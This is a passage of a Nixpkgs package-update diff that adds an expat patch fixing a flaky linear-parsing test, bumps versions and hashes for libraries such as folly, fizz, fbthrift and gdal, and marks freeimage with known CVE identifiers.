+630,7 @@ static unsigned long getDebugLevel(const char *variableName, + : ((*((pool)->ptr)++ = c), 1)) + + XML_Bool g_reparseDeferralEnabledDefault = XML_TRUE; // write ONLY in runtests.c +-unsigned int g_parseAttempts = 0; // used for testing only ++unsigned int g_bytesScanned = 0; // used for testing only + + struct XML_ParserStruct { + /* The first member must be m_userData so that the XML_GetUserData +@@ -1017,7 +1017,7 @@ callProcessor(XML_Parser parser, const char *start, const char *end, + return XML_ERROR_NONE; + } + } +- g_parseAttempts += 1; ++ g_bytesScanned += (unsigned)have_now; + const enum XML_Error ret = parser->m_processor(parser, start, end, endPtr); + if (ret == XML_ERROR_NONE) { + // if we consumed nothing, remember what we had on this parse attempt. +diff --git a/tests/basic_tests.c b/tests/basic_tests.c +index 7112a440..a9cc3861 100644 +--- a/tests/basic_tests.c ++++ b/tests/basic_tests.c +@@ -5202,13 +5202,7 @@ START_TEST(test_nested_entity_suspend) { + END_TEST + + /* Regression test for quadratic parsing on large tokens */ +-START_TEST(test_big_tokens_take_linear_time) { +- const char *const too_slow_failure_message +- = "Compared to the baseline runtime of the first test, this test has a " +- "slowdown of more than <max_slowdown>. " +- "Please keep increasing the value by 1 until it reliably passes the " +- "test on your hardware and open a bug sharing that number with us. " +- "Thanks in advance!"; ++START_TEST(test_big_tokens_scale_linearly) { + const struct { + const char *pre; + const char *post; +@@ -5220,65 +5214,57 @@ START_TEST(test_big_tokens_take_linear_time) { + {"<e><", "/></e>"}, // big elem name, used to be O(N²) + }; + const int num_cases = sizeof(text) / sizeof(text[0]); +- // For the test we need a <max_slowdown> value that is: +- // (1) big enough that the test passes reliably (avoiding flaky tests), and +- // (2) small enough that the test actually catches regressions. +- const int max_slowdown = 15; + char aaaaaa[4096]; + const int fillsize = (int)sizeof(aaaaaa); + const int fillcount = 100; ++ const unsigned approx_bytes = fillsize * fillcount; // ignore pre/post. ++ const unsigned max_factor = 4; ++ const unsigned max_scanned = max_factor * approx_bytes; + + memset(aaaaaa, 'a', fillsize); + + if (! g_reparseDeferralEnabledDefault) { + return; // heuristic is disabled; we would get O(n^2) and fail. + } +-#if ! defined(__linux__) +- if (CLOCKS_PER_SEC < 100000) { +- // Skip this test if clock() doesn't have reasonably good resolution. +- // This workaround is primarily targeting Windows and FreeBSD, since +- // XSI requires the value to be 1.000.000 (10x the condition here), and +- // we want to be very sure that at least one platform in CI can catch +- // regressions (through a failing test). +- return; +- } +-#endif + +- clock_t baseline = 0; + for (int i = 0; i < num_cases; ++i) { + XML_Parser parser = XML_ParserCreate(NULL); + assert_true(parser != NULL); + enum XML_Status status; +- set_subtest("max_slowdown=%d text=\"%saaaaaa%s\"", max_slowdown, +- text[i].pre, text[i].post); +- const clock_t start = clock(); ++ set_subtest("text=\"%saaaaaa%s\"", text[i].pre, text[i].post); + + // parse the start text ++ g_bytesScanned = 0; + status = _XML_Parse_SINGLE_BYTES(parser, text[i].pre, + (int)strlen(text[i].pre), XML_FALSE); + if (status != XML_STATUS_OK) { + xml_failure(parser); + } ++ + // parse lots of 'a', failing the test early if it takes too long ++ unsigned past_max_count = 0; + for (int f = 0; f < fillcount; ++f) { + status = _XML_Parse_SINGLE_BYTES(parser, aaaaaa, fillsize, XML_FALSE); + if (status != XML_STATUS_OK) { + xml_failure(parser); + } +- // i == 0 means we're still calculating the baseline value +- if (i > 0) { +- const clock_t now = clock(); +- const clock_t clocks_so_far = now - start; +- const int slowdown = clocks_so_far / baseline; +- if (slowdown >= max_slowdown) { +- fprintf( +- stderr, +- "fill#%d: clocks_so_far=%d baseline=%d slowdown=%d max_slowdown=%d\n", +- f, (int)clocks_so_far, (int)baseline, slowdown, max_slowdown); +- fail(too_slow_failure_message); +- } ++ if (g_bytesScanned > max_scanned) { ++ // We're not done, and have already passed the limit -- the test will ++ // definitely fail. This block allows us to save time by failing early. ++ const unsigned pushed ++ = (unsigned)strlen(text[i].pre) + (f + 1) * fillsize; ++ fprintf( ++ stderr, ++ "after %d/%d loops: pushed=%u scanned=%u (factor ~%.2f) max_scanned: %u (factor ~%u)\n", ++ f + 1, fillcount, pushed, g_bytesScanned, ++ g_bytesScanned / (double)pushed, max_scanned, max_factor); ++ past_max_count++; ++ // We are failing, but allow a few log prints first. If we don't reach ++ // a count of five, the test will fail after the loop instead. ++ assert_true(past_max_count < 5); + } + } ++ + // parse the end text + status = _XML_Parse_SINGLE_BYTES(parser, text[i].post, + (int)strlen(text[i].post), XML_TRUE); +@@ -5286,18 +5272,14 @@ START_TEST(test_big_tokens_take_linear_time) { + xml_failure(parser); + } + +- // how long did it take in total? +- const clock_t end = clock(); +- const clock_t taken = end - start; +- if (i == 0) { +- assert_true(taken > 0); // just to make sure we don't div-by-0 later +- baseline = taken; +- } +- const int slowdown = taken / baseline; +- if (slowdown >= max_slowdown) { +- fprintf(stderr, "taken=%d baseline=%d slowdown=%d max_slowdown=%d\n", +- (int)taken, (int)baseline, slowdown, max_slowdown); +- fail(too_slow_failure_message); ++ assert_true(g_bytesScanned > approx_bytes); // or the counter isn't working ++ if (g_bytesScanned > max_scanned) { ++ fprintf( ++ stderr, ++ "after all input: scanned=%u (factor ~%.2f) max_scanned: %u (factor ~%u)\n", ++ g_bytesScanned, g_bytesScanned / (double)approx_bytes, max_scanned, ++ max_factor); ++ fail("scanned too many bytes"); + } + + XML_ParserFree(parser); +@@ -5774,19 +5756,17 @@ START_TEST(test_varying_buffer_fills) { + fillsize[2], fillsize[3]); + XML_Parser parser = XML_ParserCreate(NULL); + assert_true(parser != NULL); +- g_parseAttempts = 0; + + CharData storage; + CharData_Init(&storage); + XML_SetUserData(parser, &storage); + XML_SetStartElementHandler(parser, start_element_event_handler); + ++ g_bytesScanned = 0; + int worstcase_bytes = 0; // sum of (buffered bytes at each XML_Parse call) +- int scanned_bytes = 0; // sum of (buffered bytes at each actual parse) + int offset = 0; + while (*fillsize >= 0) { + assert_true(offset + *fillsize <= document_length); // or test is invalid +- const unsigned attempts_before = g_parseAttempts; + const enum XML_Status status + = XML_Parse(parser, &document[offset], *fillsize, XML_FALSE); + if (status != XML_STATUS_OK) { +@@ -5796,28 +5776,20 @@ START_TEST(test_varying_buffer_fills) { + fillsize++; + assert_true(offset <= INT_MAX - worstcase_bytes); // avoid overflow + worstcase_bytes += offset; // we might've tried to parse all pending bytes +- if (g_parseAttempts != attempts_before) { +- assert_true(g_parseAttempts == attempts_before + 1); // max 1/XML_Parse +- assert_true(offset <= INT_MAX - scanned_bytes); // avoid overflow +- scanned_bytes += offset; // we *did* try to parse all pending bytes +- } + } + assert_true(storage.count == 1); // the big token should've been parsed +- assert_true(scanned_bytes > 0); // test-the-test: does our counter work? ++ assert_true(g_bytesScanned > 0); // test-the-test: does our counter work? + if (g_reparseDeferralEnabledDefault) { + // heuristic is enabled; some XML_Parse calls may have deferred reparsing +- const int max_bytes_scanned = -*fillsize; +- if (scanned_bytes > max_bytes_scanned) { ++ const unsigned max_bytes_scanned = -*fillsize; ++ if (g_bytesScanned > max_bytes_scanned) { + fprintf(stderr, +- "bytes scanned in parse attempts: actual=%d limit=%d \n", +- scanned_bytes, max_bytes_scanned); ++ "bytes scanned in parse attempts: actual=%u limit=%u \n", ++ g_bytesScanned, max_bytes_scanned); + fail("too many bytes scanned in parse attempts"); + } +- assert_true(scanned_bytes <= worstcase_bytes); +- } else { +- // heuristic is disabled; every XML_Parse() will have reparsed +- assert_true(scanned_bytes == worstcase_bytes); + } ++ assert_true(g_bytesScanned <= (unsigned)worstcase_bytes); + + XML_ParserFree(parser); + } +@@ -6065,7 +6037,7 @@ make_basic_test_case(Suite *s) { + tcase_add_test__ifdef_xml_dtd(tc_basic, + test_pool_integrity_with_unfinished_attr); + tcase_add_test__if_xml_ge(tc_basic, test_nested_entity_suspend); +- tcase_add_test(tc_basic, test_big_tokens_take_linear_time); ++ tcase_add_test(tc_basic, test_big_tokens_scale_linearly); + tcase_add_test(tc_basic, test_set_reparse_deferral); + tcase_add_test(tc_basic, test_reparse_deferral_is_inherited); + tcase_add_test(tc_basic, test_set_reparse_deferral_on_null_parser); diff --git a/pkgs/development/libraries/expat/default.nix b/pkgs/development/libraries/expat/default.nix index 248e3774f4cd2..27cbd38c02868 100644 --- a/pkgs/development/libraries/expat/default.nix +++ b/pkgs/development/libraries/expat/default.nix @@ -7,6 +7,7 @@ , haskellPackages , luaPackages , ocamlPackages +, testers }: # Note: this package is used for bootstrapping fetchurl, and thus @@ -14,15 +15,24 @@ # cgit) that are needed here should be included directly in Nixpkgs as # files. -stdenv.mkDerivation rec { +let + version = "2.6.0"; + tag = "R_${lib.replaceStrings ["."] ["_"] version}"; +in +stdenv.mkDerivation (finalAttrs: { pname = "expat"; - version = "2.5.0"; + inherit version; src = fetchurl { - url = "https://github.com/libexpat/libexpat/releases/download/R_${lib.replaceStrings ["."] ["_"] version}/${pname}-${version}.tar.xz"; - sha256 = "1gnwihpfz4x18rwd6cbrdggmfqjzwsdfh1gpmc0ph21c4gq2097g"; + url = with finalAttrs; "https://github.com/libexpat/libexpat/releases/download/${tag}/${pname}-${version}.tar.xz"; + hash = "sha256-y19ajqIR4cq9Wb4KkzpS48Aswyboak04fY0hjn7kej4="; }; + patches = [ + # Fix tests flakiness on some platforms (like aarch64-darwin), should be released in 2.6.1 + ./2.6.0-fix-tests-flakiness.patch + ]; + strictDeps = true; outputs = [ "out" "dev" ]; # TODO: fix referrers @@ -43,7 +53,7 @@ stdenv.mkDerivation rec { # CMake files incorrectly calculate library path from dev prefix # https://github.com/libexpat/libexpat/issues/501 postFixup = '' - substituteInPlace $dev/lib/cmake/expat-${version}/expat-noconfig.cmake \ + substituteInPlace $dev/lib/cmake/expat-${finalAttrs.version}/expat-noconfig.cmake \ --replace "$"'{_IMPORT_PREFIX}' $out ''; @@ -54,12 +64,17 @@ stdenv.mkDerivation rec { inherit (perlPackages) XMLSAXExpat XMLParser; inherit (luaPackages) luaexpat; inherit (ocamlPackages) ocaml_expat; + pkg-config = testers.hasPkgConfigModules { + package = finalAttrs.finalPackage; + }; }; meta = with lib; { + changelog = "https://github.com/libexpat/libexpat/blob/${tag}/expat/Changes"; homepage = "https://libexpat.github.io/"; description = "A stream-oriented XML parser library written in C"; platforms = platforms.all; license = licenses.mit; # expat version + pkgConfigModules = [ "expat" ]; }; -} +}) diff --git a/pkgs/development/libraries/faudio/default.nix b/pkgs/development/libraries/faudio/default.nix index 96734d7325c1b..22f422e25317f 100644 --- a/pkgs/development/libraries/faudio/default.nix +++ b/pkgs/development/libraries/faudio/default.nix @@ -4,13 +4,13 @@ stdenv.mkDerivation rec { pname = "faudio"; - version = "24.02"; + version = "24.03"; src = fetchFromGitHub { owner = "FNA-XNA"; repo = "FAudio"; rev = version; - sha256 = "sha256-xEieWgPNSpRJNYh65F2+NLXVZIlKA5ZE+959+s9zQ/I="; + sha256 = "sha256-O2hnv74Uj3PJCmca9Ynz+jjeJXBw2zbGEWlqax3WfjA="; }; nativeBuildInputs = [cmake]; diff --git a/pkgs/development/libraries/fb303/default.nix b/pkgs/development/libraries/fb303/default.nix index aad545ca602ff..d1de187ec2c4f 100644 --- a/pkgs/development/libraries/fb303/default.nix +++ b/pkgs/development/libraries/fb303/default.nix @@ -2,27 +2,26 @@ , lib , fetchFromGitHub , cmake -, glog -, folly -, fmt_8 -, boost , fbthrift -, zlib , fizz +, folly +, glog , libsodium -, wangle +, mvfst , python3 +, wangle +, zlib }: stdenv.mkDerivation rec { pname = "fb303"; - version = "2023.06.12.00"; + version = "2024.01.22.00"; src = fetchFromGitHub { owner = "facebook"; repo = "fb303"; rev = "v${version}"; - sha256 = "sha256-nUOPYb5/tLyHjaZDvKuq0vdu4L7XOmO8R9nNLGAzeLI="; + sha256 = "sha256-EQpe0REGWUpYg+llsCo4x6vJ7UPdWXk3uPM3b8b9Uf0="; }; nativeBuildInputs = [ cmake ]; @@ -33,16 +32,17 @@ stdenv.mkDerivation rec { ]; buildInputs = [ - glog - folly - fmt_8 - boost fbthrift - zlib fizz + folly + folly.boost + folly.fmt + glog libsodium - wangle + mvfst python3 + wangle + zlib ]; meta = with lib; { diff --git a/pkgs/development/libraries/fbthrift/default.nix b/pkgs/development/libraries/fbthrift/default.nix index 6b660a491f231..a483fb1644a2c 100644 --- a/pkgs/development/libraries/fbthrift/default.nix +++ b/pkgs/development/libraries/fbthrift/default.nix @@ -13,6 +13,7 @@ , glog , gflags , libiberty +, mvfst , openssl , lib , wangle @@ -22,13 +23,13 @@ stdenv.mkDerivation rec { pname = "fbthrift"; - version = "2023.03.20.00"; + version = "2024.01.22.00"; src = fetchFromGitHub { owner = "facebook"; repo = "fbthrift"; rev = "v${version}"; - sha256 = "sha256-jCgdo7jE5QlRK5f2S6XEVM4+TPWI//4DKG/fDMFzgzg="; + sha256 = "sha256-vIYXX4NOs2JdhrAJKmIhf4+hQEXHue2Ok7e4cw6yups="; }; nativeBuildInputs = [ @@ -51,6 +52,7 @@ stdenv.mkDerivation rec { gflags libevent libiberty + mvfst openssl wangle zlib diff --git a/pkgs/development/libraries/fcft/default.nix b/pkgs/development/libraries/fcft/default.nix index 37084705d6ee7..faf5906f7a989 100644 --- a/pkgs/development/libraries/fcft/default.nix +++ b/pkgs/development/libraries/fcft/default.nix @@ -17,14 +17,14 @@ in stdenv.mkDerivation rec { pname = "fcft"; - version = "3.1.7"; + version = "3.1.8"; src = fetchFromGitea { domain = "codeberg.org"; owner = "dnkl"; repo = "fcft"; rev = version; - sha256 = "sha256-QS39vbf2JowovTBtT4DKDRbLXieOrzbO4cQObOdE788="; + sha256 = "sha256-Wgm2QdW4rg573soF/8HhDmlyN4S2cA0VWOejow464gU="; }; depsBuildBuild = [ pkg-config ]; diff --git a/pkgs/development/libraries/ffmpeg/6.nix b/pkgs/development/libraries/ffmpeg/6.nix index 62d3919c06466..cebf17e071e9b 100644 --- a/pkgs/development/libraries/ffmpeg/6.nix +++ b/pkgs/development/libraries/ffmpeg/6.nix @@ -1,4 +1,11 @@ import ./generic.nix { version = "6.1"; hash = "sha256-NzhD2D16bCVCyCXo0TRwZYp3Ta5eFSfoQPa+iRkeNZg="; + extraPatches = [ + { + name = "avcodec-decode-validate-hw-frames-ctx.patch"; + url = "https://git.ffmpeg.org/gitweb/ffmpeg.git/patch/e9c93009fc34ca9dfcf0c6f2ed90ef1df298abf7"; + hash = "sha256-aE9WN7a2INbss7oRys+AC9d9+yBzlJdeBRcwSDpG0Qw="; + } + ]; } diff --git a/pkgs/development/libraries/ffmpeg/generic.nix b/pkgs/development/libraries/ffmpeg/generic.nix index 89893d32ef5d8..a44501fea081b 100644 --- a/pkgs/development/libraries/ffmpeg/generic.nix +++ b/pkgs/development/libraries/ffmpeg/generic.nix @@ -49,6 +49,7 @@ , withGme ? withFullDeps # Game Music Emulator , withGnutls ? withHeadlessDeps , withGsm ? withFullDeps # GSM de/encoder +, withHarfbuzz ? withHeadlessDeps && lib.versionAtLeast version "6.1" # Needed for drawtext filter , withIconv ? withHeadlessDeps , withJack ? withFullDeps && !stdenv.isDarwin # Jack audio , withLadspa ? withFullDeps # LADSPA audio filtering @@ -201,6 +202,7 @@ , game-music-emu , gnutls , gsm +, harfbuzz , intel-media-sdk , ladspaH , lame @@ -482,6 +484,9 @@ stdenv.mkDerivation (finalAttrs: { (enableFeature withGme "libgme") (enableFeature withGnutls "gnutls") (enableFeature withGsm "libgsm") + ] ++ optionals (versionAtLeast finalAttrs.version "6.1") [ + (enableFeature withHarfbuzz "libharfbuzz") + ] ++ [ (enableFeature withIconv "iconv") (enableFeature withJack "libjack") (enableFeature withLadspa "ladspa") @@ -598,6 +603,7 @@ stdenv.mkDerivation (finalAttrs: { ++ optionals withGme [ game-music-emu ] ++ optionals withGnutls [ gnutls ] ++ optionals withGsm [ gsm ] + ++ optionals withHarfbuzz [ harfbuzz ] ++ optionals withIconv [ libiconv ] # On Linux this should be in libc, do we really need it? ++ optionals withJack [ libjack2 ] ++ optionals withLadspa [ ladspaH ] diff --git a/pkgs/development/libraries/fizz/default.nix b/pkgs/development/libraries/fizz/default.nix index bdf7a68ffbe33..282400948769a 100644 --- a/pkgs/development/libraries/fizz/default.nix +++ b/pkgs/development/libraries/fizz/default.nix @@ -17,23 +17,25 @@ , zlib }: -stdenv.mkDerivation rec { +stdenv.mkDerivation (finalAttrs: { pname = "fizz"; - version = "2023.03.20.00"; + version = "2024.01.22.00"; src = fetchFromGitHub { owner = "facebookincubator"; repo = "fizz"; - rev = "refs/tags/v${version}"; - hash = "sha256-oBdTj7IPlmtF5rEgDVN/wwa0ZxkN6h2QMN3PQB0nCgQ="; + rev = "refs/tags/v${finalAttrs.version}"; + hash = "sha256-17EELvRrWhUprxvm1Ur0FYNimvY1qgK0YH8ehxtLpxM="; }; nativeBuildInputs = [ cmake ]; cmakeDir = "../fizz"; - cmakeFlags = [ "-Wno-dev" ] - ++ lib.optionals stdenv.isDarwin [ + cmakeFlags = [ + "-Wno-dev" + (lib.cmakeBool "BUILD_TESTS" finalAttrs.finalPackage.doCheck) + ] ++ lib.optionals stdenv.isDarwin [ "-DCMAKE_OSX_DEPLOYMENT_TARGET=10.14" # For aligned allocation ]; @@ -46,7 +48,6 @@ stdenv.mkDerivation rec { folly glog gflags - gtest libevent libiberty libsodium @@ -55,6 +56,24 @@ stdenv.mkDerivation rec { zstd ]; + doCheck = true; + checkInputs = [ + gtest + ]; + preCheck = let + disabledTests = [ + # these don't work with openssl 3.x probably due to + # https://github.com/openssl/openssl/issues/13283 + "DefaultCertificateVerifierTest.TestVerifySuccess" + "DefaultCertificateVerifierTest.TestVerifyWithIntermediates" + + # timing-related & flaky + "SlidingBloomReplayCacheTest.TestTimeBucketing" + ]; + in '' + export GTEST_FILTER="-${lib.concatStringsSep ":" disabledTests}" + ''; + meta = with lib; { description = "C++14 implementation of the TLS-1.3 standard"; homepage = "https://github.com/facebookincubator/fizz"; @@ -63,4 +82,4 @@ stdenv.mkDerivation rec { platforms = platforms.unix; maintainers = with maintainers; [ pierreis kylesferrazza ]; }; -} +}) diff --git a/pkgs/development/libraries/folly/default.nix b/pkgs/development/libraries/folly/default.nix index 22d395785434a..eb0372a40aff2 100644 --- a/pkgs/development/libraries/folly/default.nix +++ b/pkgs/development/libraries/folly/default.nix @@ -18,17 +18,21 @@ , zstd , jemalloc , follyMobile ? false + +# for passthru.tests +, python3 +, watchman }: stdenv.mkDerivation rec { pname = "folly"; - version = "2023.02.27.00"; + version = "2024.01.22.00"; src = fetchFromGitHub { owner = "facebook"; repo = "folly"; rev = "v${version}"; - sha256 = "sha256-DfZiVxncpKSPn9BN25d8o0/tC27+HhSG/t53WgzAT/s="; + sha256 = "sha256-+z1wuEOgr7CMHFnOn5gLm9mtVH7mVURLstOoDqzxKbk="; }; nativeBuildInputs = [ @@ -80,11 +84,16 @@ stdenv.mkDerivation rec { --replace '$'{_IMPORT_PREFIX}/lib/ $out/lib/ ''; - # folly-config.cmake, will `find_package` these, thus there should be - # a way to ensure abi compatibility. passthru = { + # folly-config.cmake, will `find_package` these, thus there should be + # a way to ensure abi compatibility. inherit boost; fmt = fmt_8; + + tests = { + inherit watchman; + inherit (python3.pkgs) django pywatchman; + }; }; meta = with lib; { diff --git a/pkgs/development/libraries/fontconfig/default.nix b/pkgs/development/libraries/fontconfig/default.nix index 9ff72c2021932..669c2dec851ca 100644 --- a/pkgs/development/libraries/fontconfig/default.nix +++ b/pkgs/development/libraries/fontconfig/default.nix @@ -10,16 +10,17 @@ , dejavu_fonts , autoreconfHook , CoreFoundation +, testers }: -stdenv.mkDerivation rec { +stdenv.mkDerivation (finalAttrs: { pname = "fontconfig"; version = "2.15.0"; outputs = [ "bin" "dev" "lib" "out" ]; # $out contains all the config src = fetchurl { - url = "https://www.freedesktop.org/software/fontconfig/release/${pname}-${version}.tar.xz"; + url = with finalAttrs; "https://www.freedesktop.org/software/fontconfig/release/${pname}-${version}.tar.xz"; hash = "sha256-Y6BljQ4G4PqIYQZFK1jvBPIfWCAuoCqUw53g0zNdfA4="; }; @@ -77,11 +78,18 @@ stdenv.mkDerivation rec { rm -r $bin/share/man/man3 ''; + passthru.tests = { + pkg-config = testers.hasPkgConfigModules { + package = finalAttrs.finalPackage; + }; + }; + meta = with lib; { description = "A library for font customization and configuration"; homepage = "http://fontconfig.org/"; license = licenses.bsd2; # custom but very bsd-like platforms = platforms.all; maintainers = with maintainers; teams.freedesktop.members ++ [ ]; + pkgConfigModules = [ "fontconfig" ]; }; -} +}) diff --git a/pkgs/development/libraries/freeimage/default.nix b/pkgs/development/libraries/freeimage/default.nix index de1b616fc20a1..245ea93f63e40 100644 --- a/pkgs/development/libraries/freeimage/default.nix +++ b/pkgs/development/libraries/freeimage/default.nix @@ -72,6 +72,20 @@ stdenv.mkDerivation (finalAttrs: { description = "Open Source library for accessing popular graphics image file formats"; homepage = "http://freeimage.sourceforge.net/"; license = "GPL"; + knownVulnerabilities = [ + "CVE-2021-33367" + "CVE-2021-40262" + "CVE-2021-40263" + "CVE-2021-40264" + "CVE-2021-40265" + "CVE-2021-40266" + + "CVE-2023-47992" + "CVE-2023-47993" + "CVE-2023-47994" + "CVE-2023-47995" + "CVE-2023-47996" + ]; maintainers = with lib.maintainers; [viric l-as]; platforms = with lib.platforms; unix; }; diff --git a/pkgs/development/libraries/fribidi/default.nix b/pkgs/development/libraries/fribidi/default.nix index 613725a2672e2..5672ff5375bbb 100644 --- a/pkgs/development/libraries/fribidi/default.nix +++ b/pkgs/development/libraries/fribidi/default.nix @@ -6,9 +6,10 @@ , pkg-config , fixDarwinDylibNames , python3 +, testers }: -stdenv.mkDerivation rec { +stdenv.mkDerivation (finalAttrs: { pname = "fribidi"; version = "1.0.13"; @@ -16,7 +17,7 @@ stdenv.mkDerivation rec { # NOTE: Only URL tarball has "Have pre-generated man pages: true", which works-around upstream usage of some rare ancient `c2man` fossil application. src = fetchurl { - url = "https://github.com/fribidi/fribidi/releases/download/v${version}/${pname}-${version}.tar.xz"; + url = with finalAttrs; "https://github.com/fribidi/fribidi/releases/download/v${version}/${pname}-${version}.tar.xz"; sha256 = "sha256-f6FsgMgb1iL3sZjTE1baE5zDGKY/x3YSF69BMJA/VKI="; }; @@ -32,10 +33,17 @@ stdenv.mkDerivation rec { doCheck = true; nativeCheckInputs = [ python3 ]; + passthru.tests = { + pkg-config = testers.hasPkgConfigModules { + package = finalAttrs.finalPackage; + }; + }; + meta = with lib; { homepage = "https://github.com/fribidi/fribidi"; description = "GNU implementation of the Unicode Bidirectional Algorithm (bidi)"; license = licenses.lgpl21; platforms = platforms.unix; + pkgConfigModules = [ "fribidi" ]; }; -} +}) diff --git a/pkgs/development/libraries/functionalplus/default.nix b/pkgs/development/libraries/functionalplus/default.nix index af25030ab560f..6d3092e53c350 100644 --- a/pkgs/development/libraries/functionalplus/default.nix +++ b/pkgs/development/libraries/functionalplus/default.nix @@ -2,13 +2,13 @@ stdenv.mkDerivation rec { pname = "functionalplus"; - version = "0.2.22"; + version = "0.2.23"; src = fetchFromGitHub { owner = "Dobiasd"; repo = "FunctionalPlus"; rev = "v${version}"; - sha256 = "sha256-y0IRmgG9lhWO4IR4G9/VP2a3B+ORTnF7MCf4FU5EuMk="; + sha256 = "sha256-WDufVO0vQyu7O3w9tq+19JioRUFgYlnTbO/AQzg0FnM="; }; nativeBuildInputs = [ cmake ]; diff --git a/pkgs/development/libraries/gdal/default.nix b/pkgs/development/libraries/gdal/default.nix index 11228c572e34d..5d0fc7a657062 100644 --- a/pkgs/development/libraries/gdal/default.nix +++ b/pkgs/development/libraries/gdal/default.nix @@ -79,13 +79,13 @@ stdenv.mkDerivation (finalAttrs: { pname = "gdal"; - version = "3.8.3"; + version = "3.8.4"; src = fetchFromGitHub { owner = "OSGeo"; repo = "gdal"; rev = "v${finalAttrs.version}"; - hash = "sha256-GYBGGZ2bobVYElO0WJrsQzLMdNR5AfQwgdjBtPeGH1g="; + hash = "sha256-R9VLof13OXPbWGHOG1Q4WZWSPoF739C6WuNWxoIwKTw="; }; nativeBuildInputs = [ @@ -270,9 +270,7 @@ stdenv.mkDerivation (finalAttrs: { popd # autotest ''; - passthru.tests = { - gdal = callPackage ./tests.nix { gdal = finalAttrs.finalPackage; }; - }; + passthru.tests = callPackage ./tests.nix { gdal = finalAttrs.finalPackage; }; __darwinAllowLocalNetworking = true; diff --git a/pkgs/development/libraries/gdal/tests.nix b/pkgs/development/libraries/gdal/tests.nix index 87fbff2d5fa57..e6d7673014035 100644 --- a/pkgs/development/libraries/gdal/tests.nix +++ b/pkgs/development/libraries/gdal/tests.nix @@ -1,34 +1,40 @@ -{ runCommand, gdal, jdk }: +{ runCommand, gdal, jdk, lib, testers }: let inherit (gdal) pname version; in -runCommand "${pname}-tests" { meta.timeout = 60; } - '' - # test version - ${gdal}/bin/ogrinfo --version \ - | grep 'GDAL ${version}' - - ${gdal}/bin/gdalinfo --version \ - | grep 'GDAL ${version}' - - - # test formats - ${gdal}/bin/ogrinfo --formats \ +{ + ogrinfo-version = testers.testVersion { + package = gdal; + command = "ogrinfo --version"; + }; + + gdalinfo-version = testers.testVersion { + package = gdal; + command = "gdalinfo --version"; + }; + + ogrinfo-format-geopackage = runCommand "${pname}-ogrinfo-format-geopackage" { } '' + ${lib.getExe' gdal "ogrinfo"} --formats \ | grep 'GPKG.*GeoPackage' + touch $out + ''; - ${gdal}/bin/gdalinfo --formats \ + gdalinfo-format-geotiff = runCommand "${pname}-gdalinfo-format-geotiff" { } '' + ${lib.getExe' gdal "gdalinfo"} --formats \ | grep 'GTiff.*GeoTIFF' + touch $out + ''; - - # test vector file + vector-file = runCommand "${pname}-vector-file" { } '' echo -e "Latitude,Longitude,Name\n48.1,0.25,'Test point'" > test.csv - ${gdal}/bin/ogrinfo ./test.csv - + ${lib.getExe' gdal "ogrinfo"} ./test.csv + touch $out + ''; - # test raster file - ${gdal}/bin/gdal_create \ + raster-file = runCommand "${pname}-raster-file" { } '' + ${lib.getExe' gdal "gdal_create"} \ -a_srs "EPSG:4326" \ -of GTiff \ -ot UInt16 \ @@ -38,9 +44,11 @@ runCommand "${pname}-tests" { meta.timeout = 60; } -co COMPRESS=LZW \ test.tif - ${gdal}/bin/gdalinfo ./test.tif + ${lib.getExe' gdal "gdalinfo"} ./test.tif + touch $out + ''; - # test java bindings + java-bindings = runCommand "${pname}-java-bindings" { } '' cat <<EOF > main.java import org.gdal.gdal.gdal; class Main { @@ -49,7 +57,7 @@ runCommand "${pname}-tests" { meta.timeout = 60; } } } EOF - ${jdk}/bin/java -Djava.library.path=${gdal}/lib/ -cp ${gdal}/share/java/gdal-${version}.jar main.java - + ${lib.getExe jdk} -Djava.library.path=${gdal}/lib/ -cp ${gdal}/share/java/gdal-${version}.jar main.java touch $out - '' + ''; +} diff --git a/pkgs/development/libraries/gegl/default.nix b/pkgs/development/libraries/gegl/default.nix index 914d72a7fe8a1..93035b373eb45 100644 --- a/pkgs/development/libraries/gegl/default.nix +++ b/pkgs/development/libraries/gegl/default.nix @@ -1,13 +1,10 @@ { lib , stdenv , fetchurl -, fetchpatch2 , pkg-config , vala +, gi-docgen , gobject-introspection -, gtk-doc -, docbook-xsl-nons -, docbook_xml_dtd_43 , glib , babl , libpng @@ -38,25 +35,16 @@ stdenv.mkDerivation rec { pname = "gegl"; - version = "0.4.46"; + version = "0.4.48"; outputs = [ "out" "dev" "devdoc" ]; outputBin = "dev"; src = fetchurl { url = "https://download.gimp.org/pub/gegl/${lib.versions.majorMinor version}/gegl-${version}.tar.xz"; - hash = "sha256-0LOySBvId0xfPQpIdhGRAWbRju+COoWfuR54Grex6JI="; + hash = "sha256-QYwm2UvogF19mPbeDGglyia9dPystsGI2kdTPZ7igkc="; }; - patches = [ - # https://gitlab.gnome.org/GNOME/gegl/-/merge_requests/136 - # Fix missing libm dependency. - (fetchpatch2 { - url = "https://gitlab.gnome.org/GNOME/gegl/-/commit/ee970f10f4fe442cbf8a4f5cb94049deab33e786.patch"; - hash = "sha256-0LLKH+Gg+1H83kN7hJGK2u+oLrw7Hxed7R4tTwT3C5s="; - }) - ]; - nativeBuildInputs = [ pkg-config gettext @@ -64,9 +52,7 @@ stdenv.mkDerivation rec { ninja vala gobject-introspection - gtk-doc - docbook-xsl-nons - docbook_xml_dtd_43 + gi-docgen ]; buildInputs = [ @@ -102,7 +88,6 @@ stdenv.mkDerivation rec { ]; mesonFlags = [ - "-Dgtk-doc=true" "-Dmrg=disabled" # not sure what that is "-Dsdl2=disabled" "-Dpygobject=disabled" @@ -119,6 +104,11 @@ stdenv.mkDerivation rec { patchShebangs tests/ff-load-save/tests_ff_load_save.sh tests/opencl/opencl_test.sh tools/xml_insert.sh ''; + postFixup = '' + # Cannot be in postInstall, otherwise _multioutDocs hook in preFixup will move right back. + moveToOutput "share/doc" "$devdoc" + ''; + # tests fail to connect to the com.apple.fonts daemon in sandboxed mode doCheck = !stdenv.isDarwin; diff --git a/pkgs/development/libraries/gensio/default.nix b/pkgs/development/libraries/gensio/default.nix index cd20eab42a62b..74eb0f05d3f2b 100644 --- a/pkgs/development/libraries/gensio/default.nix +++ b/pkgs/development/libraries/gensio/default.nix @@ -9,13 +9,13 @@ stdenv.mkDerivation rec { pname = "gensio"; - version = "2.8.2"; + version = "2.8.3"; src = fetchFromGitHub { owner = "cminyard"; repo = pname; rev = "v${version}"; - sha256 = "sha256-SwY9FAUljaxap2ZlPS3JJ8VkYiJFWoSLU1miEQIEerE="; + sha256 = "sha256-GmVekTySfSOIWkKLdVuhhtJFQBBBfHBj410jNUfSrkc="; }; passthru = { diff --git a/pkgs/development/libraries/geos/3.9.nix b/pkgs/development/libraries/geos/3.9.nix index 415746d3e544e..cc3025928c801 100644 --- 